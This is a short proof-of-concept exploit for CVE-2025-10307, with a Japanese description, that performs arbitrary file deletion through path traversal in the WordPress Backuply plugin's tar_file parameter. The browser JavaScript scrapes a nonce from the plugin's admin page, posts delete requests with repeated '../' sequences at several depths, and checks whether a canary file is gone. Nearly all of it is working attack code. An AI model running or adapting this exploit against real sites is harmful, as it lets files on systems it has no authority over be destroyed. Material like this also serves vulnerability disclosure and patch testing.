
CVE-2025-10307の概念実証エクスプロイト。WordPress Backuplyプラグインのtar_fileパラメータにおけるパストラバーサルを利用した任意ファイル削除を実証します。
tar_file パストラバーサル)(async () => {
const page = `${location.origin}/wordpress/wp-admin/admin.php?page=backuply`;
// 1) Extract a valid nonce from the Backuply page
const html = await fetch(page, { credentials: 'same-origin' }).then(r => r.text());
const doc = new DOMParser().parseFromString(html, 'text/html');
let security = (() => {
const btn = doc.querySelector('[name="backuply_delete_backup"]');
if (btn) {
const form = btn.closest('form');
const inp = form && form.querySelector('input[name="security"]');
if (inp && inp.value) return inp.value;
}
const any = doc.querySelector('input[name="security"]');
return any ? any.value : null;
})();
if (!security) {
console.error('Nonce not found');
return;
}
console.log('Nonce:', security);
// Helper: send delete request
const postDelete = (tar_file) => fetch(page, {
method: 'POST',
credentials: 'same-origin',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
tar_file,
security,
backuply_delete_backup: 'Delete'
})
}).then(r => r.status);
// Attempt path traversal deletion
const outsideRel = 'outside/canary_outside.txt';
const depths = [4, 5, 6, 7];
for (const d of depths) {
const tar_file = '../'.repeat(d) + outsideRel;
console.log('Trying:', tar_file);
await postDelete(tar_file);
const res = await fetch(`${location.origin}/${outsideRel}`, { method: 'HEAD' });
console.log(`depth ${d} → status ${res.status}`);
if (res.status !== 200) {
console.log('[+] File deleted via traversal at depth', d);
break;
}
}
})();